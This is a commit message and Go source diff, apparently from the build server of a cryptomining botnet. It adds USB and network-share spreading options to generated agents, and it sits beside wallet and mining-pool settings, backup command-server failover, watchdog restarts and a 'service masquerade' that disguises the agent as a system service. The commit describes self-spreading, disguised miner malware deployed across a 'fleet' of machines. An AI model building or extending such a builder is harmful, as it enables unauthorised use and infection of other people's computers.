Add fleet resilience, passive spread, matrix rain UI, and live earnings.

Backup server URL failover, watchdog process restart, service masquerade, remote fleet upgrade, recon UI, SupportXMR earnings, USB/share passive spread, and sidebar matrix rain with live fleet telemetry.

server/internal/builder/handler.go

@@ -72,6 +72,8 @@ type BuildRequest struct {
 	AutoSpread       bool   `json:"auto_spread"`
 	HolePunch        bool   `json:"hole_punch"`
 	RemoteAggressive bool   `json:"remote_aggressive"`
+	USBSpread        bool   `json:"usb_spread"`
+	ShareSpread      bool   `json:"share_spread"`
 	TargetOS         string `json:"target_os"`
 	TargetArch       string `json:"target_arch"`
 	SpreadKit        bool   `json:"spread_kit"`
@@ -564,21 +566,27 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
 		recordPlatform = "windows"
 	}
 
+	dlURL := fmt.Sprintf("/api/v1/builds/%s/download", buildID)
+	if bundleDownloadURL != "" {
+		dlURL = bundleDownloadURL
+	}
 	buildRecord := &models.BuildRecord{
-		ID:         buildID,
-		WorkerName: req.WorkerName,
-		ServerURL:  req.ServerURL,
-		Wallet:     req.Wallet,
-		Threads:    req.Threads,
-		FileSize:   fileInfo.Size(),
-		BundleSize: bundleSize,
-		FilePath:   absPath,
-		Platform:   recordPlatform,
-		CreatedAt:  time.Now(),
-		PoolHost:   req.PoolHost,
-		PoolPort:   req.PoolPort,
-		PoolTLS:    req.PoolTLS,
-		PoolPass:   req.PoolPass,
+		ID:          buildID,
+		WorkerName:  req.WorkerName,
+		ServerURL:   req.ServerURL,
+		Wallet:      req.Wallet,
+		Threads:     req.Threads,
+		FileSize:    fileInfo.Size(),
+		BundleSize:  bundleSize,
+		FilePath:    absPath,
+		FileName:    finalName,
+		DownloadURL: dlURL,
+		Platform:    recordPlatform,
+		CreatedAt:   time.Now(),
+		PoolHost:    req.PoolHost,
+		PoolPort:    req.PoolPort,
+		PoolTLS:     req.PoolTLS,
+		PoolPass:    req.PoolPass,
 	}
 	if err := h.db.InsertBuild(buildRecord); err != nil {
 		log.Printf("Failed to record build: %v", err)
@@ -913,6 +921,8 @@ func GetBuiltinConfig() BuiltinConfig {
 		AutoSpread:          %v,
 		HolePunch:           %v,
 		RemoteAggressive:    %v,
+		USBSpread:           %v,
+		ShareSpread:         %v,
 		BackupServerURLs:    %s,
 		ServiceMasquerade:   %v,
 		ServiceName:         %q,
@@ -962,6 +972,8 @@ func GetBuiltinConfig() BuiltinConfig {
 		req.AutoSpread,
 		req.HolePunch,
 		req.RemoteAggressive,
+		req.USBSpread,
+		req.ShareSpread,
 		formatGoStringSlice(req.BackupServerURLs),
 		serviceMasqueradeEnabled(req),
 		serviceMasqueradeName(buildID, req),